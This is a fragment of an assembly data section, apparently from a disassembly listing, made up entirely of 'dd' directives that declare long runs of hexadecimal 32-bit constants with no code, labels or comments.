		dd 2101FCC1h, 0B4EAAA64h, 0A0990FCCh, 59930A60h, 8E003E71h
		dd 2313561Eh, 0A169F8h,	2E5E1496h, 8EA0BA6h, 9D0AE500h
		dd 705D3961h, 0AF7A51h,	442D953Ch, 92A75C7Fh, 7250DF00h
		dd 0C8E59FCBh, 4F151F91h, 56DF32h, 0F6981D40h, 7B00F3A1h
		dd 1A1625B9h, 52E757h, 94782F6Fh, 0DB1E533Eh, 153CC61Fh
		dd 0AA10F300h, 7B9772h,	0E6285987h, 0F1D36653h,	9F142001h
		dd 724D0CD5h, 48B2F2ECh, 9400EFF9h, 4A4C6C37h, 223E6D51h
		dd 809A809Dh, 0C3CC92DEh, 75D4139Ch, 9FEC0050h,	21EE0576h
		dd 0DCD38B00h, 0B04CC9FCh, 8FB404C2h, 0C023380Eh, 5E13CE34h
		dd 1E7EBC2Eh, 2E835D04h, 509B5FC0h, 4D55009Fh, 0A51B8C41h
		dd 0F000E498h, 7FCA0C0Eh, 0F822C4h, 195BB228h, 146E84B0h
		dd 54B86409h, 6B3480F0h, 4D52F50Fh, 40090C7h, 9FF2DB5Eh
		dd 8509D827h, 0E561986h, 6124030h, 0AA7BA0h, 179DC196h
		dd 0D2054DD1h, 9043A3Eh, 505708h, 114B7CA4h, 0E529004Ah
		dd 1DBB8AD9h, 0A0175B30h, 0F50AF846h, 90400C05h, 172C678h
		dd 0EA96C9F1h, 0E477CD71h, 7E003874h, 5123EDDAh, 90CA3C75h
		dd 0BBE13D2Ch, 0EEB3AC00h, 2220ADB1h, 8012C0C0h, 2DCC9h
		dd 0E770F5BAh, 0BED81DA9h, 9A0BC300h, 2E38FAC0h, 49253E4Ch
		dd 75B65200h, 0A4D227A3h, 0C7562B01h, 0E9B95485h, 285F38C8h
		dd 94EA11h, 0FF71C30Fh,	0D315C910h, 2B41D91Eh, 381881E7h
		dd 0B06C40B4h, 60792F00h, 9F6333F6h, 43201C62h,	1CA07024h
		dd 0D8D0B083h, 58F711F9h, 29C05698h, 42F327A6h,	0EED0344h
		dd 772375ACh, 14673E90h, 21025800h, 0FCAA7F53h,	0B7BAC0D6h
		dd 0F38D16B2h, 0E1A8B460h, 1DEE7C52h, 0C0F1DEF4h, 9FC56AD2h
		dd 0C700C92Ch, 0B380A257h, 0EE6FAh, 189A9CAFh, 47AC6465h
		dd 0E40CF207h, 202FC2B8h, 7E5CED57h, 0EC7A58A7h, 4724FE1Fh
		dd 1FB2E92Bh, 8AE015EEh, 7CD33D78h, 722C6607h, 0A5738364h
		dd 0ACB9B0EBh, 0E1620532h, 439C0B3Fh, 82F3B4CCh, 0FCA44FA8h
		dd 51244C00h, 0FA40E9D8h, 0F1AB0011h, 5ADC703Eh, 2702AD96h
		dd 0A38CCCC9h, 0A1C0E150h, 0E83BE1C4h, 0B660E81h, 3040892Bh
		dd 292595Ah, 0B840EA00h, 8A336B73h, 4CF20019h, 485242E5h
		dd 0EB793712h, 0AFCF8C04h, 79C061F9h, 0E5E5C85h, 51BED727h
		dd 80C42305h, 5669000h,	0A8654Ch, 84582BC9h, 5D8AE6h, 5EB65A79h
		dd 65FFF4A8h, 0A9A4C617h, 54B28CD0h, 45E00096h,	0D1304F20h
		dd 291FDEE5h, 2EB99248h, 8200F0ACh, 14EF7075h, 4840619Ch
		dd 0F893EA8Ah, 9B12F803h, 81C6FDBh, 0AA4E719Dh,	23CC0AFh
		dd 1C850AEh, 1B62B5BAh,	7098EA03h, 9035DCDFh, 0FD80101Ah
		dd 0FF8B670h, 89B9C9C2h, 9751503h, 21D76287h, 20E40461h
		dd 0E301FE71h, 446A744Ah, 32ECF642h, 0B4116013h, 8CAC073Fh
		dd 10B8727h, 9CC7C3F4h,	4B68CECFh, 99C4B0F2h, 40D88100h
		dd 5EB4CC8Ah, 717C60h, 290DC269h, 0F8370A0h, 0E0BF4828h
		dd 61132800h, 5138C4C9h, 1D21FF3Ch, 0CD7420h, 754D71CEh
		dd 1F288D61h, 0E62C1B7Dh, 3D8318F5h, 0A1E1012Fh, 0C5D85E89h
		dd 9351007Eh, 0D54758AEh, 305677Ch, 0C1C344FAh,	0AB200CC0h
		dd 9F6D0F89h, 5A2070F8h, 5C4501DFh, 3F17FD12h, 76B3A503h
		dd 3DAFA972h, 84D2A080h, 0D361279Ch, 6ACF2000h,	6B126936h
		dd 57660016h, 65E27EA5h, 0D507A86Dh, 0E876883Fh, 450503C0h
		dd 1A22004Fh, 0A57FA798h, 0A40C398Eh, 10A81D66h, 0EB5A001Bh
		dd 0A91AF30Ah, 0AF001F59h, 56FCB8FFh, 5CB34D9Fh, 19004911h
		dd 0BBFCC8Eh, 6B1FA834h, 0DE023B70h, 70903DE2h,	1BD600B4h
		dd 6875456h, 0A9DFF482h, 974F6300h, 349F80Dh, 80ACB3C4h
		dd 33D008DCh, 6C005702h, 0A720F02Ah, 58C81143h,	5C38408Ch
		dd 2EC5D13h, 0ED469320h, 0BF82ACF1h, 0F0888976h, 0C7E10040h
		dd 3D7F5F0Dh, 0BE175DEBh, 38800A4Fh, 731DA5h, 0BC447E7h
		dd 3F50787Eh, 0D555161Dh, 0B71B95C7h, 0D4215680h, 0F304074Eh
		dd 6069B290h, 6F994812h, 0C523DA12h, 80AF460Bh,	89CB191Ah
		dd 38B100BEh, 93588539h, 8F005F99h, 1CA0F8D7h, 3D7C2EC5h
		dd 0D40017BBh, 0C7845420h, 1A0014B2h, 3C369CE0h, 127FA14Ah
		dd 97C126Ah, 0C9800EFAh, 0D0ABEAC7h, 0F35B1B17h, 0C2BF4100h
		dd 0EB80A0h, 0F177480Eh, 78D17FEFh, 0FD35E600h,	0F41A1325h
		dd 0BB17855h, 0B38EF038h, 0B5838055h, 1E7E8387h, 215CFFh
		dd 0AD1ADFEDh, 987778EEh, 644201Dh, 0C700AF52h,	73FE1027h
		dd 80F54F8Bh, 4E9B7F0Bh, 48CB2613h, 758CD903h, 0A0A8A838h
		dd 6C16088h, 0B5B676E6h, 0E35DF91Ch, 9D45EA81h,	0D0D43304h
		dd 3ED5002Bh, 0ACE153E5h, 48007DD3h, 82E87FF3h,	0E0FB8F8h
		dd 0BA8CF416h, 0E5E67360h, 0E0008184h, 24FD296Bh, 0EC3D7E4h
		dd 0E8C85C09h, 0C44E32A0h, 0D02697Fh, 4B9AD171h, 78AC81E7h
		dd 0C0C9E976h, 2F97FBF4h, 150049C4h, 3AF75DFFh,	2C393500h
		dd 8A30BD7Eh, 86200ACh,	0CB1744EAh, 3507E05Bh, 2040C58Dh
		dd 61F3C777h, 67100084h, 0E12D4CD7h, 6877CFDEh,	0F7C0807h
		dd 4DC05289h, 238198h, 0E8C7C1D9h, 4B42D6DEh, 0E2142F09h
		dd 0C4A102EBh, 3462C165h, 0DD7EC4h, 0EA3C6F0Bh,	20CABBB7h
		dd 0F520A13h, 8F976100h, 0A1BA98h, 928C2FF3h, 942E1F07h
		dd 0F9F43Fh, 5216534Dh,	280E8867h, 2D2383Ch, 865CDD64h
		dd 0A0A0E6C5h, 96EB12C7h, 0E029C828h, 8A5B8900h, 27471F7Ah
		dd 9CF00090h, 198D1824h, 0B9002378h, 915F28FAh,	36E82BBh
		dd 34952BA0h, 48D01B76h, 0B700254Ah, 0D0025C2Ah, 7836F4h
		dd 0D208DADDh, 5A1DEBACh, 0FEBD1000h, 0F591C0A0h, 784D6014h
		dd 0EE8A194Eh, 0B732CC00h, 2DF99A40h, 0C0087D22h, 0D5F16720h
		dd 0E70C66EFh, 0B152804Ch, 0B72F37CFh, 0D6328040h, 336FB1F2h
		dd 59906108h, 42D4EEE4h, 6BE0FBDh, 0B640CDE6h, 34198B04h
		dd 9678F2F0h, 0C052E505h, 6FC30B25h, 161EC04Bh,	32AE059h
		dd 0EE048FBDh, 0CA03BA55h, 823D3041h, 2E3B88F9h, 3640A04Dh
		dd 0CB52304Ah, 722BA50h, 96B5E607h, 6410C776h, 3D99215h
		dd 87E5E98Bh, 0F59B8297h, 9384A003h, 98DDAB22h,	13E437Fh
		dd 0BF025BA0h, 0E3DC579Eh, 84E21C39h, 0C0351350h, 0C50AB890h
		dd 0CAE10038h, 914B67B6h, 3600EF92h, 0E5406F3Fh, 5B29BFh
		dd 4CD3819Bh, 2650B3B8h, 4E1B6C90h, 0E0B9E7E1h,	76B48B2h
		dd 0D290BD12h, 0D3FB3054h, 400989Eh, 240CDD76h,	0BD407169h
		dd 0BF609978h, 0C7E78981h, 0DCC3000Fh, 3A4FAA4Ah, 0BF1CBC47h
		dd 0A24C2644h, 39EE294Dh, 668175AEh, 0CFC5D6B1h, 0E1088CD9h
		dd 70D2018h, 4CD5750Ah,	0E29C0322h, 8200197Dh, 769B62Eh
		dd 3BF24A6h, 944C7D86h,	338803BEh, 32069821h, 0ACDB7CD9h
		dd 8A1D0688h, 0E1B6ED9Dh, 8CECEB00h, 0F5EE33AEh, 64C1D19h
		dd 21EE3BF6h, 408CDCDEh, 0D1D38477h, 9A119857h,	8E00E6E0h
		dd 2C5A25FAh
		dd 290019B2h, 0E9606DD9h, 1C567911h, 6E60801h, 0F88E9599h
		dd 6B2FAA0Ah, 651C94F0h, 0C3969D41h, 0EA476E22h, 84390A20h
		dd 7FA3D7Dh, 28DD07FFh,	6077D79Fh, 6FD15482h, 6F26700h
		dd 292CE094h, 8F8E01F3h, 0E2D39BB2h, 7A33701Ch,	1EE6EBF8h
		dd 83B018C0h, 0E8D9C6F8h, 0FA9E00C8h, 0D256840Eh, 0A118EDE7h
		dd 0DC08E83Bh, 9A20C076h, 4C388433h, 238F7E06h,	30482B4Fh
		dd 9D205326h, 0CB005DBEh, 50CE28F8h, 6C9CAA8Ch,	0DA207891h
		dd 0D2A833Ah, 11C3FEE8h, 7C184FD8h, 0ED520611h,	8624127h
		dd 209DBF30h, 3194802h,	0BEF9EA35h, 1900CAFEh, 245D9B32h
		dd 70F3B4E8h, 0C2771E34h, 0F5E780C4h, 51C6CE75h, 4A788460h
		dd 2C52DEh, 0CA145B48h,	0C7861922h, 59D9E461h, 6BE8D909h
		dd 2E8501B4h, 2AF73E8h,	0B55E30BEh, 0BBC65F00h,	0C88E4C87h
		dd 79323049h, 0D9FBA3D1h, 82E8A176h, 3F74E19h, 21802A08h
		dd 0E3D9F438h, 0C734653Bh, 0D4C09129h, 7EBF2D2h, 11AFBBB5h
		dd 0BE10B0AAh, 700E75Fh, 40A7E5D6h, 283DC4DAh, 0A8E3ABh
		dd 940BFE21h, 6077BD0Fh, 4EA06C00h, 0A20223E9h,	0AFF008Eh
		dd 456BE7CDh, 7F00A3FEh, 0FAF94031h, 0A05330h, 0FD0D7C8Bh
		dd 17CCA733h, 7376505Ch, 0F6E8017Ah, 7F8E8D00h,	53A004CBh
		dd 0E09D006Eh, 0DA204C3Bh, 2505A6B2h, 2675E58Ch, 0F400042Dh
		dd 18B97730h, 18760A80h, 483C3D85h, 0E93283D3h,	304A591Fh
		dd 0CA21C508h, 17004865h, 73AC2997h, 8023F7h, 263C96A8h
		dd 7E138AD6h, 1CCC934Ch, 0F5006D25h, 7CB1E52Ah,	0E98C000Ch
		dd 533BD680h, 0D4335CB6h, 0EBA158D9h, 88FEA30Bh, 1374A03h
		dd 870C79F4h, 0F8BD40FAh, 0FB00B6E0h, 9A76FEFDh, 5365958Fh
		dd 8684205Dh, 0E2C067EFh, 0A061BD2h, 6B2D3AD9h,	712C8084h
		dd 0C1A1C5B5h, 0EA09AA0Ch, 0C18D08CCh, 0B5C8A921h, 0B7608C8Eh
		dd 188F80F9h, 0D0D64D9Ah, 100C25A3h, 11C4C182h,	0EBCF3054h
		dd 192D4028h, 6848D960h, 0C6D0DAh, 1E0FE4A5h, 0B6B0D7DDh
		dd 5F00D37Fh, 3906BDD6h, 517FAA1Fh, 0AE0B4F5h, 886860AEh
		dd 6A9C4715h, 21C59015h, 7A6015C4h, 0D28400E4h,	56925BD9h
		dd 0FA577FDAh, 363306CDh, 0ACECBB03h, 8C6CD83Fh, 410BA114h
		dd 25F72006h, 18377518h, 0E3958A9h, 1611834Eh, 6AB59A40h
		dd 641EDE9Fh, 0C9C08AEBh, 0A013D1D2h, 6E49C0BFh, 82FA5C81h
		dd 90703Ah, 9CF69155h, 7F87DACh, 95B65821h, 107B96B5h
		dd 0E2249B00h, 0B8669861h, 3BD92B02h, 0B58001C8h, 0E49A1C6h
		dd 0B577CE00h, 2DD3A4Dh, 10D0F440h, 42D7992h, 0BC772F5Fh
		dd 3C386898h, 5AA36648h, 0CB008A11h, 8BDD4840h,	694892F3h
		dd 46B31D5Ch, 26ADAA45h, 586C60C0h, 97811878h, 445B896Ah
		dd 5ADE8200h, 0D28AE753h, 0D9F7017Dh, 36FC57BCh, 30D60273h
		dd 0D079483Eh, 0B1224A46h, 4866A51Fh, 0E89641C0h, 0F78171C3h
		dd 0D1D33857h, 0E87C9F61h, 435412A1h, 92784125h, 0F07B572Dh
		dd 8A498C37h, 2B6F000Ch, 54D167E0h, 0F6506B9h, 40C28192h
		dd 0F2BC0652h, 0E7FD3093h, 80C3683Bh, 2A13057Eh, 8476A3h
		dd 0A6880D90h, 0C4C21F7h, 0A4C09F28h, 0B897F082h, 67E62588h
		dd 0BEE5F0E2h, 6105EDD8h, 55377C3Ch, 0A8676C40h, 39B46EBCh
		dd 0B2831847h, 0DA0AEEA3h, 36E93ADBh, 0B8C042CDh, 79483430h
		dd 223A46D2h, 3CC700B2h, 57F71348h, 64002D3Dh, 2AA4352Bh
		dd 3183AFBh, 0ACE490BBh, 0E848C660h, 7C3239Ch, 95654833h
		dd 0CC302862h, 0EE483B1Dh, 4C8D8082h, 0F2F3E065h, 8EFB000Ah
		dd 9A90B81Ch, 51145C9Dh, 0B8302202h, 0A3008CC5h, 3D317A2Dh
		dd 7DD13C43h, 820F0A14h, 0FC0B59h, 24811587h, 27F254DBh
		dd 90BD3304h, 0CC8B514h, 92FB3052h, 0AC9D96F1h,	26DC7948h
		dd 0A5087446h, 0F65B42BDh, 88B75700h, 0E3D23E2Fh, 5D31A8B0h
		dd 5803CE4Fh, 1192A97Bh, 69F4AFD9h, 87DF0491h, 7C604BC6h
		dd 62020C79h, 0DC610CE4h, 20147A30h, 6E41920Dh,	0AE0418BCh
		dd 31708C75h, 2AF8CA05h, 3094D011h, 27B59C82h, 0EE7B41B0h
		dd 79BF07h, 96314AAAh, 328A796Ch, 2085C8Fh, 0CECC8468h
		dd 0AF14A0Fh, 60DFC06Eh, 29BC809Ch, 3C49F13h, 0A3351106h
		dd 40FD83A9h, 3E256480h, 954C6E50h, 804BBF00h, 0D9BCB90Fh
		dd 8C966F7h, 0FD217Bh, 5213E46Eh, 60C80A6h, 23890E0Fh
		dd 0D48A300h, 1B52C905h, 0A86A4896h, 0A0AD1474h, 3902B076h
		dd 0BB712AF6h, 620B7C81h, 8C95086Ah, 3F4AD404h,	0FA615C96h
		dd 58E6008Bh, 90DA6B4Bh, 8CC41013h, 0E800C3E4h,	0B4AD9E6Ah
		dd 0D228FCh, 0AED052C8h, 0B8AA0CE9h, 0A4C5D37Bh, 3C207C68h
		dd 14344A65h, 0B82D1496h, 4ACDD3B0h, 7A56F000h,	0CF6F2BC5h
		dd 0E3CE24DCh, 0E85960B4h, 0E9248F94h, 2BC3904Bh, 0D7A3FBh
		dd 0DFBBE4A0h, 5C1BC5E0h, 4D820D0Ah, 1E248C01h,	7111EF0Ch
		dd 0D7E43BCAh, 80A9EE80h, 1736EA8Ah, 0B599E802h, 42FF8408h
		dd 0E41C45ECh, 0C94160BEh, 5F03C16h, 41660392h,	0EBC87EE8h
		dd 9645EC1Fh, 0D1AE5600h, 5D636738h, 0AC49088h,	0B08B2FD9h
		dd 0CB215E9Ch, 0A93C8168h, 0C012E0BFh, 0DD0041D9h, 0B4640222h
		dd 0BED6DE9h, 83D0FC93h, 63DBCC01h, 0FEC7F09Ah,	0CCCB3F26h
		dd 0E5942174h, 8095498Bh, 0DE0AB655h, 1E36261Ah, 1732B3DCh
		dd 0D4C03BEBh, 1580C61h, 0C0688834h, 0A1BFB583h, 80347152h
		dd 7B57AABh, 0D728005Dh, 0C2B67884h, 8C008BC5h,	0FF1B0967h
		dd 65D14B77h, 0C2C96008h, 97200B64h, 0A086ACADh, 11E6D7E4h
		dd 0CB513h, 223FF8EBh, 642A10DCh, 0C884A10Dh, 3D00797Ch
		dd 989CC67Ah, 4040AD90h, 76054480h, 8E60C465h, 0C15498D0h
		dd 0EB3903ECh, 0F84CE012h, 0C100F093h, 4BE75602h, 0C096795Fh
		dd 321D4530h, 693B93D5h, 785A9C88h, 84E62200h, 0C1D8CC89h
		dd 0A03CA380h, 0F578300Eh, 6C04C0Eh, 2ED91910h,	0DE002429h
		dd 5394686Bh, 0F600F7B7h, 6D2498C0h, 0C60417h, 1DDEE82Dh
		dd 0A97F971Ch, 2FDA0C0Ah, 8020DF70h, 9D403C17h,	43F5D800h
		dd 41CCCAAh, 68AE5B39h,	0E204B22Fh, 0F36B30AFh,	0C8D1BD05h
		dd 90408D60h, 0DAE3983h, 3AD001A3h, 0FCFE61BEh,	3048ED09h
		dd 925C0B68h, 2D901BACh, 94CBB8E1h, 0A81A1FE7h,	8F3687F1h
		dd 6FF8105Fh, 2D0142D7h, 1ABA8B04h, 0C4486E3Ch,	717D07F3h
		dd 0E19BBCF8h, 70C738CAh, 112629F4h, 8340AC84h,	30538887h
		dd 66987FABh, 9D2A9034h, 109C455h, 8FD4D613h, 89049324h
		dd 5C820D29h, 0B585303Eh, 0E1A18908h, 409164ABh, 0CDB57C5Dh
		dd 1F9400B3h, 603CA169h, 0E8A4FDF4h, 3A9F40A8h,	0EACCAA50h
		dd 0F1BB6202h, 4412E906h, 600D1360h, 3F7C00A4h,	0EBFF092Ah
		dd 37254A06h, 12F99059h, 0C4586210h, 0E44C0A8h,	0B0092CBh
		dd 814A8E70h, 55F963Dh,	4620D01h, 0A14045Dh, 14EF06C4h
		dd 393A0071h, 9024D789h, 4700EC02h, 0FA7EE416h,	1CEAC992h
		dd 0C40D5F95h, 0BBF6C62h, 461084D4h, 179A94A0h,	229510B5h
		dd 3F30BF88h, 46D17948h, 3BD2242h, 8A486798h, 0D0200E47h
		dd 0DC690977h, 84000156h, 0FAA3C527h, 0C91E0300h, 209A8195h
		dd 6D280E6h, 60E5022Ch,	299C08Bh, 0E18738CCh, 0DB00101Ch
		dd 23ECE0ACh, 0E00D804Ah, 882008DEh, 0C7073E4Fh, 0B8E11680h
		dd 347DD2AAh, 368BD59h,	6A7E0FDDh, 0ED80C5B3h, 0B8DC880Bh
		dd 0D158C345h, 7002C754h, 0B38CA11Fh, 574C6008h, 867495Dh
		dd 8DE87C48h, 3799148Ch
		dd 281F48Ch, 6FD99Ah, 3C822623h, 30D00189h, 7E048C65h
		dd 99A1BCB5h, 0E02E8F62h, 657CB595h, 978126D3h,	54A141DCh
		dd 0FFE63057h, 0CA896F8h, 0EF33238Ch, 8561F0FDh, 0DEB2FCD0h
		dd 398113D2h, 3FF022C3h, 8B64430h, 0ABE9A18Ah, 6259B86Fh
		dd 0EEB5007Bh, 0B96ED30Dh, 84F264EAh, 0B653511Ch, 215E5C6Eh
		dd 13828C02h, 60E30BC7h, 15B6628h, 0B6471425h, 2C992AF5h
		dd 1C8C0978h, 5C08290h,	0E658409Ch, 3C060159h, 0B1250D7Bh
		dd 0E302C74h, 0D2830B80h, 1BA57041h, 2860F921h,	0D0BF3EE5h
		dd 0B10A139Fh, 30702520h, 0B053B829h, 2DAE8420h, 0BDB48264h
		dd 79483130h, 30525C67h, 48204FE7h, 0B1149044h,	0A76E4712h
		dd 0BD781041h, 0BAFC30B4h, 8DD9003Bh, 0D397C096h, 6300213Ah
		dd 52AA220Ah, 346B2B6h,	28906618h, 58037D61h, 0A160BCE5h
		dd 0A8694157h, 6082040Ah, 0D08008B8h, 4CCA53CBh, 6F2DBC00h
		dd 0B71DE2F0h, 11770068h, 0E799FF3Dh, 211DB1B5h, 0B404AD5h
		dd 0F1E5EF2Dh, 0BD3900E3h, 74BEFC1Bh, 3A00DEC1h, 0D6DD5649h
		dd 0CC600Ah, 281682Ch, 0C8D5B40h, 0A500E6ECh, 0B620D449h
		dd 153F936h, 97D2D589h,	0D802A93Ah, 0D100B88Fh,	76CEDEA2h
		dd 0A89FB9h, 0D01EAC03h, 0BC349760h, 1B2E691Dh,	91190800h
		dd 0F4CF6CADh, 0E6E25Eh, 8070FC5Ch, 0A77DF526h,	87D6223Eh
		dd 0B8E7FF55h, 173669C0h, 774C2489h, 0C0091C4Ah, 0CA861C52h
		dd 0C21C21BDh, 6E007A56h, 7725B18Dh, 0F6AE0012h, 2E1A5E42h
		dd 870050AFh, 9A1E678Fh, 777173Dh, 8DED985Ch, 0B33153A6h
		dd 0C8230BE8h, 6CAAD818h, 3FD7B70h, 62EB3060h, 4ACA1312h
		dd 90410142h, 7B0828D7h, 247A9B00h, 6FA13B0Dh, 74C0121h
		dd 0EAAB5D7Bh, 0EBA050A0h, 0D89874F9h, 624092F3h, 371538D0h
		dd 324760C3h, 0B05860E6h, 0F3E8200h, 0D74AEF06h, 0BD100F0h
		dd 521A6263h, 8400FE02h, 5852570h, 3615E2h, 76AAB2CCh
		dd 1CBCE049h, 58740700h, 8E8B9156h, 0A066548Fh,	124606D7h
		dd 106A3510h, 9AAC1E00h, 421C33A2h, 0B9795Bh, 0C537A3BEh
		dd 0CBCD50F4h, 0D7ACE00h, 5CBBE0C6h, 95D0004Bh,	9F1DF7AFh
		dd 48C0F236h, 0E55B97E7h, 8F0A005Eh, 579A8995h,	3D5C7AC0h
		dd 0F1607FCCh, 81D19028h, 80E802B0h, 0F63E50C4h, 1497A848h
		dd 1E879658h, 0F1C06926h, 0B2ADA0A4h, 0B7040028h, 0F0EF569Dh
		dd 7A7AA724h, 0AFDBF600h, 4FB43219h, 8BEB00B7h,	2D66CD25h
		dd 860FDEC5h, 0C0F62216h, 0A479F2A8h, 0C97751h,	1CC2F3FAh
		dd 3992CA5Eh, 6B138707h, 249E4ABh, 827DDA98h, 4079DED8h
		dd 19370EAh, 0CB8E32BAh, 804E3850h, 519BE2B1h, 0F3014Dh
		dd 79EF7AC4h, 741CC037h, 15E5F100h, 0F9A7F4Ah, 2D80193h
		dd 2792B588h, 0CB520AFh, 0C4700D00h, 0D9E9B43Bh, 0D7E73950h
		dd 5F7D0901h, 24C68555h, 0F601D81Ch, 30594D65h,	2BC4A798h
		dd 8261015Bh, 0BEC54162h, 0FEC3920h, 809906AEh,	6A8C91B9h
		dd 0D23507F1h, 10611F3Bh, 4D271033h, 7D2D191Dh,	53D49B80h
		dd 0F6171EDFh, 3C3FC66h, 4CE86FA2h, 1CA671F8h, 0E6E1A000h
		dd 0A8F2B75Dh, 72C31DA3h, 595B003Eh, 837FFAFDh,	8868D300h
		dd 0DD7B9B2Ah, 7DF31FA1h, 7C2E0CC1h, 8E005D10h,	65343103h
		dd 5F3235h, 87E4336Eh, 833B42CBh, 0DC804600h, 67222FFFh
		dd 0DFC70059h, 79144BADh, 0C318D657h, 0AAE9E318h, 0D7EE0002h
		dd 9B25DCE1h, 4B0E0120h, 0E3FA565Bh, 98AA7DFDh,	75DA3DEh
		dd 67C64F5Eh, 76CC10D8h, 0DB4CE3B5h, 0EEBD0059h, 14862FC3h
		dd 95E9006Fh, 6CD082A5h, 0ABFAC430h, 1E4ED200h,	0AF190412h
		dd 0A5AE073Eh, 60764A9Eh, 0C669C265h, 705BA21Dh, 87A44CC0h
		dd 568DF1h, 621CF3ABh, 1EDB4EEh, 9D07C400h, 92A923AEh
		dd 0D7671EDAh, 20CD7AC3h, 8B642F01h, 30C2FB02h,	38EA3B82h
		dd 0C4C91C00h, 6B168090h, 0AE1B00DCh, 33EF0C31h, 0E404775Fh
		dd 5B63392Bh, 5256F080h, 2FD70F53h, 0D940B883h,	0AA8C4B76h
		dd 8113600Bh, 0D7AA8066h, 79CEC75h, 89F58F4Fh, 3DBF40EDh
		dd 2607BBF0h, 4E222BDh,	0A6E199ECh, 80A900B4h, 0C6570121h
		dd 24006EFAh, 356A9A72h, 705F625h, 437AAAFCh, 0DF4C50C4h
		dd 0CFE2CB29h, 20D1841Fh, 217E8200h, 1FAAFF6Dh,	0CA5C47CEh
		dd 6A09149h, 60DEB725h,	0AF1B6D0Bh, 3C60EF6h, 0F03BA945h
		dd 30CEC950h, 0FA31CB4Fh, 0A7E617E6h, 0A6F10300h, 0BEF9369h
		dd 10BCA007h, 43D903E0h, 361DD816h, 0F2C94600h,	0A1F7E51Ah
		dd 789091h, 0F4556DCFh,	0CB3C3A1Bh, 0FAC0ED02h,	41590844h
		dd 0EBE8BE28h, 562F00DAh, 901A2D45h, 7BF4FAEFh,	0D52B4C00h
		dd 1E8E62A5h, 0F35400A3h, 9A5D5122h, 4B001938h,	5C25DDC1h
		dd 0F4A77Ah, 69DBB1BEh,	9B639154h, 0EDC75000h, 0B2A0FF87h
		dd 23BA07B6h, 70A151AFh, 5B1F5798h, 3A133200h, 0CFA37FBh
		dd 89A70035h, 0A2770578h, 93F6451Eh, 0F609BC00h, 3AB4CF4Eh
		dd 75F500C6h, 0E0017859h, 5B00AB07h, 74514424h,	0D38EADh
		dd 0E4721F43h, 173E55D9h, 6D33AB01h, 11505B67h,	0A209D140h
		dd 0A32104E2h, 0A0D0069Ah, 0F10926F0h, 8E14403Ch, 851CE7BBh
		dd 952B404Fh, 390454h, 66791BE5h, 7757EDE2h, 4494AD1Eh
		dd 9B5DA640h, 2C9F64h, 0D370B1ACh, 80CEDA8Dh, 0DE4FF075h
		dd 0E8581045h, 0E0756CD3h, 4327A2Ch, 6E79D496h,	9760A0E7h
		dd 0E510C463h, 3400948Eh, 5466677Ah, 0EFB4BC00h, 4F8CB928h
		dd 0F90C0080h, 1023E93Eh, 0D6240DB7h, 491D4667h, 8AC01180h
		dd 0D008CAh, 23941D7Ah,	64DEB9A3h, 0C10E797Dh, 3D8E98B7h
		dd 10010DC0h, 3D14EF3h,	0F770BCD8h, 90001C49h, 0AA51A326h
		dd 0F8B8A1BEh, 191B604Eh, 8D8B23EBh, 3632A0C7h,	0E3DE803Eh
		dd 652BAh, 0A208B08Fh, 0CB0B21FFh, 8C00EBF8h, 1868A8F6h
		dd 2B8E70h, 6D96D597h, 1F7A38FCh, 0B700417Eh, 64889F76h
		dd 89186Ah, 0D42BC515h,	0F7332C34h, 611B5100h, 7CBF1D85h
		dd 6F820077h, 0FE9FF487h, 163C029Dh, 0F123E07h,	0A03211A8h
		dd 0BDEC4104h, 0D33400D6h, 8B39668Ah, 1600D419h, 5532763Dh
		dd 2DD57E03h, 309790BFh, 608BFD88h, 1A67817Ah, 0A390822Fh
		dd 0D99BB2A8h, 3F85124h, 0B8213F6Eh, 8EE9B387h,	87DF901Ch
		dd 0FE5C138Bh, 48C62694h, 0D2256302h, 1F4D96Dh,	10444B83h
		dd 25DD1999h, 4BC34F00h, 0C6791D00h, 7AFB5347h,	90B7028Bh
		dd 8FD4A608h, 0C3FC083h, 5898ADFCh, 46A28BC8h, 354D125Ch
		dd 70C4C299h, 718D3702h, 792A0414h, 0DCA101C2h,	0DC2CF366h
		dd 88D4204Ah, 0E575772Fh, 0F87F1003h, 0D0B65321h, 18EE2EECh
		dd 2FB4098h, 62009372h,	2806BF45h, 373C309h, 0E6A90CF8h
		dd 0B9C8FCDDh, 34001275h, 4A4FC4CBh, 3F2F3586h,	2103A555h
		dd 375B3DDDh, 2DC326D8h, 35858200h, 36A06F28h, 1F980619h
		dd 1894A943h, 0E4032F04h, 18802173h, 603868CCh,	65A21853h
		dd 41C03724h, 7407BCA0h, 0B633C8Eh, 90CD1E01h, 9CCCC8ACh
		dd 671B8249h, 14E4C008h, 371F00E5h, 94B10F7Dh, 93005BE8h
		dd 7B899197h, 0CC9B40Bh, 47508751h, 390006C1h, 8077C7D4h
		dd 0EDD48h, 2C59CC09h, 91F4D610h, 0EF2DF800h, 0BA4397E7h
		dd 400437CFh, 0E2F5C0D0h, 0AE0042A8h, 0A6BD651Eh, 5EC9CDh
		dd 27502BC2h, 0B67D3FD2h, 1CA80E1Fh, 52FA1E83h,	1FACA81Bh
		dd 2D670C93h, 1A74F8BAh, 0B0853603h, 265B8CFh, 7171661h
		dd 1CC1127Ah, 26F18272h
		dd 87861FB6h, 843A5080h, 6DE0C780h, 1729588h, 0C4632EAAh
		dd 0FC7AF3BEh, 0BD038A18h, 8BD9615Eh, 0C54939C0h, 8065279Eh
		dd 7BDA76AEh, 37240310h, 511DB0DCh, 5390807Ch, 0F41A23F5h
		dd 0A424002Bh, 0B112768Dh, 0A60516F1h, 8803D4AFh, 7DE26BC0h
		dd 99BE006Ch, 46A1CB2Bh, 14009C43h, 7CE7A7ABh, 65BC2h
		dd 0FD02A53Dh, 9F21898Eh, 9903E6F6h, 88BBE3BAh,	2B08308Ah
		dd 0C2B04321h, 0FBCE5500h, 0F66A1804h, 253F0FD9h, 31A17DCAh
		dd 88898FA5h, 67A4B458h, 9917F1A2h, 89161892h, 20C2E83Ch
		dd 0FAB43900h, 0D35B62Ch, 0D8EB0008h, 4AE6726Ah, 0F33075C4h
		dd 0FD0160C3h, 56BC0EB4h, 1098830Eh, 0A5B8E9EEh, 45541413h
		dd 87CD50Ch, 5921C087h,	3265C3E2h, 1300587Eh, 0ABA305B6h
		dd 271E87h, 0CA3BA1B5h,	0CCBCFF1Ch, 1F48361Fh, 39468F1Ch
		dd 7901FAh, 4CFE47DDh, 2551436Fh, 0E2098666h, 3FBD0021h
		dd 0B068BCFEh, 5500725Fh, 0C7834187h, 0CE28307Eh, 77C988F1h
		dd 14936880h, 0A0A88FFBh, 0DC307B0Eh, 0BCB5E828h, 7B70A46Ch
